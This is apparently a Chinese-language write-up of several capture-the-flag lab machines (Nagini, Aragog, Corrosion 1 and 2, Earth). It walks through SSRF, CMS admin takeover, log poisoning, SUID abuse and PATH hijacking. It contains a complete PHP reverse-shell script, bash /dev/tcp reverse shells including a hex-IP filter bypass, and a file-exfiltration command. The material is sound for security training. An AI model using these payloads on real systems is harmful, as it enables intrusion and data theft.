HARRYPOTTER : NAGINI

靶机描述

Nagini is the 2nd VM of 3-box HarryPotter VM series in which you need to find 3 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.

Nagini 是 3 盒 HarryPotter VM 系列的第二个 VM,您需要在其中找到隐藏在机器内的 3 个魂器(哈利波特系列的 3 个 VM 中总共隐藏了 8 个魂器)并最终击败 Voldemort。

信息搜集

目标确认

攻击机Kali IP:192.168.93.131

靶机 IP:192.168.93.137

image.png

开放了22端口 & 80端口

image.png

源码没什么问题,去扫一下目录:

image.png

发现 /note.txt/joomla,目录 /joomla 应该是安装了 Joomla CMS,先看下 /note.txt

Hello developers!!

I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.

Regards,
site_amdin

开发人员您好!!

我将使用我们 https://quic.nagini.hogwarts 的新HTTP3服务器进行进一步的通信。
请所有开发人员定期访问服务器以检查最新公告。

问候
site_amdin

HTTP2 是以 HTTP 为基础并改动一些规则的产物。HTTP3 也是如此。换句话说,解释清楚现状后,我就可以很容易地讲明白未来是什么样子的。

HTTP3 的主要改进在传输层上。传输层不会再有我前面提到的那些繁重的 TCP 连接了。现在,一切都会走 UDP。

顺便说一下,QUIC 的意思是“快速 UDP Internet 连接”。协议的这种更改将显著加快连接建立和数据传输的速度。然而,虽说 UDP 肯定更快、更简单,但它不具备 TCP 的可靠性和错误处理能力。

TCP 必须进行多次往返,才能以方形且稳定的方式建立连接。UDP 不会顾虑那么多,而且它确实可以快速运行,代价是稳定性下降和丢包的风险。但是,UDP 能大大减少请求中的延迟。到同一服务器的重复连接的延迟几乎为零,因为不需要往返来建立连接。

image.png

HTTP3 是 HTTP2 的复用和压缩,协议从 TCP 更改为 UDP。然后,谷歌的那些人在协议中添加了他们做的层,以确保稳定性、数据包接收顺序及安全性。

需要搭建 quiche。在本地 kali 上搭建一下:

搭建的过程中用到 rust 的 cargo 命令,另外在cargo build --examples 命令使用前先装上cmake。

image.png

漏洞利用

cd quiche/target/debug/examples
 ./http3-client https://192.168.93.137
<html>
        <head>
        <title>Information Page</title>
        </head>
        <body>
                Greetings Developers!!

                I am having two announcements that I need to share with you:

                1. We no longer require functionality at /internalResourceFeTcher.php in our main production servers.So I will be removing the same by this week.
                2. All developers are requested not to put any configuration's backup file (.bak) in main production servers as they are readable by every one.

                Regards,
                site_admin
        </body>
</html>

开发人员您好!!

我有两个公告需要与您分享:

  1. 我们不再需要主要生产服务器中的 /internalResourceFeTcher.php 中的功能。所以我将在本周之前删除相同的功能。
  2. 请所有开发者不要将任何配置的备份文件(.bak)放在主生产服务器中,因为每个人都可以读取它们。

问候
site_amdin

提到了两个目标.bak/internalResourceFeTcher.php

image.png

后面加上了?url,可能是SQL注入,也可能是SSRF,我更偏向于后面那个:

image.png

好的SSRF。

前面有说.bak文件,不是当前页面的备份文件,应该是在Joomla CMS,可以用joomscan扫描一下:

image.png

image.png

有后台登陆页面。

configuration.php.bak看见

image.png

有数据库用户名,但是没有密码,user = 'goblin'

可以用Gopherus进行SSRF攻击:

image.png

image.png

发现数据库名称joomla,接着看一下表名:

image.png

image.png

查看 joomla_users 表内的数据:

image.png

image.png

site_admin@nagini.hogwarts 是个邮箱,用户名应该是 site_admin ,不过密码被加密,也不好解,那就尝试更改密码,首先生成自己密码的 md5:

image.png

e10adc3949ba59abbe56e057f20f883e

image.png

image.png

更改完成,尝试登陆:

  • 用户名:site_admin
  • 密码:123456

image.png

登陆成功,然后想办法写入shell,有点像之前GKCTF那道禅知CMS的题目:

image.png

创建一个shell.php,用kali自带反弹shell的payload.php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.93.131';  // CHANGE THIS
$port = 2333;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?> 

nc 监听,并访问 shell.php 页面 /joomla/templates/protostar/shell.php

image.png

顺便升级成交互式shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

找到了本靶机第一个魂器:

image.png

image.png

提权

/home目录下查看有两个用户,在/home/hermoine发现了第二个魂器,但是没有权限;在/home/snape目录下发现了.creds.txt,解码一下应该是密码

image.pngimage.png

ssh链接测试一下,发现确实

image.png

再次尝试 horcrux2.txt 还是没权限,但发现 /home/hermoine/bin 下有个具有 suid 权限的 su_cp 的二进制文件:

image.png

功能就是复制粘贴。那可以自己生成ssh密钥,复制到 hermoine 用户中,首先先制作 ssh 密钥:

ssh-keygen -f /home/kali/桌面/123

cp 123.pub authorized_keys

image.png

上传到靶机:

scp kali@192.168.93.131:/home/kali/桌面/authorized_keys /tmp

然后使用 su_cp 将 /tmp/authorized_keys 密钥复制到 /home/hermoine/.ssh/authorized_keys

image.png

然后我们就能ssh登录 hermoine 用户:

image.png

现在就能cat第二个魂器了:

image.png

image.png

再提权

linpeas.sh 等工具跑了一遍也没发现什么,然后发现在 /home/hermoine/ 下有个 .mozilla 目录:

image.png

这个地方学到了另外一个靶机之间传递文件的好方法

python3 -m http.server
#wget x.x.x.x:8000/文件名 /指定目录

image.png

使用 firefox_decrypt 工具进行解密:

image.png

image.png

发现了 root 的密码,切换到 root 用户:

image.png

image.png

image.png

HARRYPOTTER : ARAGOG

修复靶机IP问题

不知道为什么每次Debian的靶机IP都出问题,在这先修复一下

image.png

将图中ro修改成rw signie init=/bin/bash

修改完成后按Ctrl+x键进入bash

先查看当前网卡信息ip a命令

image.png

查看网卡配置文件vi /etc/network/interfaces

image.png

可以看到当前网卡内网卡的名称与实际靶机网卡名称不匹配,看到这里我们就知道是什么原因导致的了。将网卡名称修改为正确的名称,保存退出。

/etc/init.d/networking restart

执行ip a 重新查看

image.png

靶机描述

Aragog is the 1st VM of 3-box HarryPotter VM series in which you need to find 2 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.

Aragog 是 3 盒 HarryPotter VM 系列中的第一个 VM,您需要在其中找到隐藏在机器内的 2 个魂器(哈利波特系列的 3 个 VM 中总共隐藏了 8 个魂器)并最终击败 Voldemort。

信息搜集

目标确认

攻击机kali IP:192.168.93.131

靶机 Debian IP:192.168.93.136

靶机信息搜集

image.png

22端口 & 80端口

image.png

目录扫描

image.png

有一个/blog,看一下,很明显wordpress

image.png

image.png

发现域名 wordpress.aragog.hogwarts/etc/hosts 文件中添加再访问:

image.png

WordPress有专门的漏扫工具WPScan

image.png

但是。。。WPScan现在必须带上--api-token=才能正常扫描漏洞,VPN坏了翻不了墙申请不了token。。。

先借用人家的:

image.png

发现有个远程代码执行漏洞,CVE-2020-25213。

漏洞利用

下载poc

wget https://ypcs.fi/misc/code/pocs/2020-wp-file-manager-v67.py

cat出来看一下用法

image.png

  1. apt-get 安装 python3-requests
  2. 写一个文件名为payload.php 的反弹shell的文件
  3. python3 2020-wp-file-manager-v67.py http://wordpress.aragog.hogwarts/blog/

Kali自带php反弹shell的脚本,我们把它复制到当前文件夹下,并改名为payload.php

image.png

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.93.131';
$port = 2333;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id;sh -i';
$daemon = 0;
$debug = 0;

image.png

image.png

提权

进入系统后,首先我查看了 /home 目录,在 hagrid98 用户下发现了 horcrux1.txt:

image.png

这个一看应该就是base64了吧

image.png

之后我想找一下 wordpress 的配置文件,找一下数据库的用户名密码,查看数据库中有没有可利用信息,wordpress 的配置文件默认命名为 wp-config.php ,find 查找一下:

image.png

查看/etc/wordpress/config-default.php

image.png

登录数据库,首先得获取一个tty shell,不然看不到mysql的输出

python -c 'import pty; pty.spawn("/bin/sh")'

image.png

image.png

找到 hagrid98 用户的密码hash。尝试解密:

image.png

可以去cmd5查一下,也可以去john爆破

image.png

然后我们就能切换用户 hagrid98 用户。

image.png

发现root执行了个 .backup.sh 脚本,既然 root 运行这个脚本,那就写入一个反弹 shell:

image.png

image.png

直接得到了root权限,查看horcrux2.txt

image.png

image.png

提权方法2

有一个辅助提权工具https://github.com/Cerbersec/scripts.git

首先在kali上下好linpeas,在靶机ssh终端下把它复制到/tmp文件夹下

scp kali@192.168.93.131:/home/kali/scripts/linux/linpeas.sh /tmp

image.png

chmod +x ./linpeas.sh
./linpeas.sh

image.png

这里找到一个backup.sh。这个脚本负责复制这个uploads到tmp里面。属于那种隔段时间就会执行的脚本。

用同样的方法下载pspy64看一下执行这个脚本的用户。

chmod +x ./pspy64
./pspy64

image.png

剩下的就和第一个方法相同了。

CORROSION : 2

靶机描述

Difficulty: Medium

Hint: Enumeration is key.

信息搜集

确认目标

攻击机kali IP:192.168.93.131

靶机IP:192.168.93.135

image.png

靶机信息搜集

image.png

目录扫描

image.png

80端口下没有什么有价值的信息。

8080是Apache Tomcat/9.0.53

image.png

image.png

东西不少,看一下:

readme.txt

image.png

嘿 randy!我是你的系统管理员。我在你的服务器上留下了一个文件,我保证没人能找到它。

要记得使用我留给你的密码。

/backup.zip

image.png

攻击开始

登录信息

需要密码?那就爆破一下

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip

image.png

很幸运在tomcat-users.xml中就能找到登录信息

image.png

但是。。。Tomcat不让登录。。。

image.png

Msfconsole利用

msf 上有个 Tomcat 上传webshell的模块,有用户名和密码就可以使用:

image.png

选择载荷,设定信息:

image.png

一发入魂,直接打通:

image.png

输入 shell 后就获得了 Tomcat 用户,查看一下系统文件,发现/home目录下有一些信息

image.png

note.txt 文件里说更改了 randy 对主目录的权限,不能进行删除和添加。

尝试切换用户jaye,密码还是 Tomcat 密码,如果不方便的话,可以用ssh连接登录

image.png

发现一些文件,查看一下,发现 Files 文件夹下有个 look 文件:

image.png

  • 系统look命令:It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

    它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件。

用法:

LFILE=file_to_read
./look '' "$LFILE"

image.png

利用这种方法,可以获取到/etc/shadow,把文件复制下来保存,/etc/passwd也可以在MSF中拿到。

image.png

使用 unshadow 命令生成需要破解的密码:

unshadow passwd shadow > pass.txt

利用john进行破解

john --wordlist=/usr/share/wordlists/rockyou.txt ./pass.txt

image.png

image.png

爆破了好几个小时,爆出来两个用户:

  • melehifokivai (jaye)
  • 07051986randy (randy)

第一个是已知的,登录下第二个:

image.png

提权

image.png

发现不能更改该文件,但是他会用python程序运行,我们直接在python程序 base64 模块里面写入shell,先找到python中的base64脚本:

image.png

发现有权限修改,那我们直接写入shell,vim用不了,用的nano编辑器:

image.png

image.png

因为我改的是 python3.8 ,所以要指明 python3.8 运行 randombase64.py 脚本:

image.png

获得了root权限,查看flag:

image.png

CORROSION : 1

靶机描述

Difficulty: Easy

A easy box for beginners, but not too easy. Good Luck.

Hint: Enumerate Property.

信息搜集

目标确认

攻击机Kali:192.168.93.131

目标靶机 Ubuntu:192.168.93.134

image.png

靶机信息搜集

image.png

开放22端口 & 80端口

image.png

目录扫描

gobuster dir -u http://192.168.93.134 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php

image.png

· tasks目录

image.pngimage.png

需要完成的任务

  1. 更改权限
  2. 更改端口22 -> 7672
  3. 建立Phpmyadmin

· blog-post目录

image.png

image.png

利用:利用ssh日志写入shell

image.png

打开以后什么也没有,盲猜一手SSRF,路径可以数一下,参数可以爆破出来,但这个地方我是猜的:

image.png

image.png

利用成功,这个地方我们可以去尝试先去读取之前提到的/var/log/auth.log

image.png

发现会记录ssh登录的所有活动,那我们可以尝试添加恶意PHP代码作为用户名,该代码将从用户输入并执行命令。通常称为日志中毒。

sudo ssh '<?php system($_GET['cmd']);?>' @192.168.93.134

image.png

image.png

后面这些应该就是我们测试ssh登陆的数据

测试一下有没有写入shell

http://192.168.93.134/blog_post/archives/randylogs.php?file=../../../../../../var/log.auth.log&cmd=ifconfig

image.png

成功写入,我们可以弹个shell

bash -c 'bash -i >& /dev/tcp/192.168.93.131/2333 0>&1'

URL编码一下

bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E93%2E131%2F2333%200%3E%261%27

image.png

反弹成功

提权

本来想找第一个flag,后来发现根本没有权限

image.png

但是在var/backups目录下发现了user_backups.zip,想办法外带出来,可以用nc

cat user_backup.zip > /dev/tcp/192.168.93.131/1234
nc 1234 > user_backup.zip

image.png

压缩包有密码。爆破一下:PW == !randybaby

解压出来查看压缩包

image.pngimage.png

得到ssh密码:randylovesgoldfish1998,结合randy直接连接:

image.png

image.png

什么TMD叫TMD惊喜?权限还是不够。。。

先看一下当前目录下的权限

image.png

image.png

查看权限发现并不能改,那就用之前的方法,本地编辑 cat 文件,写入 shell:

echo 'chmod +s /bin/bash' > cat
chmod 777 cat
export PATH=/home/randy/tools:$PATH
./easysysinfo
/bin/bash -p

image.png

image.png

成功获取到 root,在 /root 下发现了flag:

image.png

并且还在 /root/creds 下发现了 root 密码:

image.png

THE PLANETS:EARTH

靶机描述

Earth is an easy box though you will likely find it more challenging than "Mercury" in this series and on the harder side of easy, depending on your experience. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware. Any questions/issues or feedback please email me at: SirFlash at protonmail.com, though it may take a while for me to get back to you.

信息搜集

目标确定

攻击机IP:192.168.93.131

image.png

靶机IP:192.168.93.132

arp-scan -l

image.png

靶机信息搜集

nmap扫描一下

nmap -A -p 1-65535 192.168.93.132

image.png

有几个比较注意的点,80端口开启,但是状态400;22端口开启,有ssh服务,可以考虑ssh爆破公钥;443端口开启,有DNS解析,我们在/etc/hosts文件中添加DNS解析:

vim /etc/hosts

image.png

earth.local信息搜集

image.png

我们先不用管页面,先去扫一下路径

image.png

同理去看一下https://terrateset.earth.local

image.png

有几个敏感信息,查看一下

第一个flag

这个地方我们先去看一下https://terratest.earth.local/robots.txt

image.png

有一个不知名格式文件,盲猜一手txt,访问:

image.png

测试安全消息传递系统说明:
* 使用XOR加密作为算法,在RSA中使用应该是安全的。
* 地球已经确认他们已经收到我们发送的消息。
* testdata.txt用于测试加密。
* terra用作管理门户的用户名。

目标:
* 我们如何将每月的钥匙安全地送到地球?还是每周换一次钥匙?
* 需要测试不同的密钥长度以抵御爆破。密钥应该多长?
* 需要改进消息接口和管理面板的接口,这是目前非常基本的问题。

结合之前主页面的Previous Message,梳理一下上面这两段话的提示:

  1. 加密算法:XOR,并且之前的信息已经发送成功。
  2. testdata.txt应该是密钥文件
  3. terra是管理用户的用户名

好了,意思很明显了,先去看一下testdata.txt

image.png

编写XOR脚本:

import binascii
data1 = " "#这个地方填写Previous Message
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))

运行结果是十六进制,需要16进制转文本解密一下

image.png

这个应该就是管理员的密码,重复了好几遍

·用户名:terra

·密 码:earthclimatechangebad4humans

  • earth.local/admin直接登录

    image.png

发现可以执行系统命令,那我们可以尝试直接从这里找第一个flag

find / -name "*flag.txt"

image.png

直接cat出来

image.png

提权

反弹shell

一个靶机应该是有两个flag,一个普通用户权限,一个root权限。查看一下当前权限:

image.png我们尝试弹个shell

bash -i >& /dev/tcp/192.168.93.131/2333 0>&1

但是不行。。。看了wp才知道需要对IP进行16进制绕过:

bash -i >& /dev/tcp/0xc0.0xa8.0x5d.0x83/2333 0>&1

image.png成功

提权

查找有权限的命令:

find / -perm -u=s -type f 2>/dev/null

image.png

可以尝试走reset_root这条路,运行尝试一下:

image.png

CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

检查是否存在重置触发器...
重置失败,所有触发器都不存在。

看一下这个命令

image.png

本地没有调试的命令,使用nc传送到本地调试一下

nc -nlvp 2223 >reset_root
nc 192.168.93.131 2223 < /usr/bin/reset_root

image.png

使用 strace 命令进行调试

image.png

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (没有那个文件或目录)

在靶机中创建这三个文件:

sudo touch /dev/shm/kHgTFI5G
sudo touch /dev/shm/Zw7bV9U5
sudo touch /tmp/kcM0Wewe

然后再靶机中尝试运行reset_root:

image.png

image.png

成功提权,并且可以获取root_flag.txt

image.png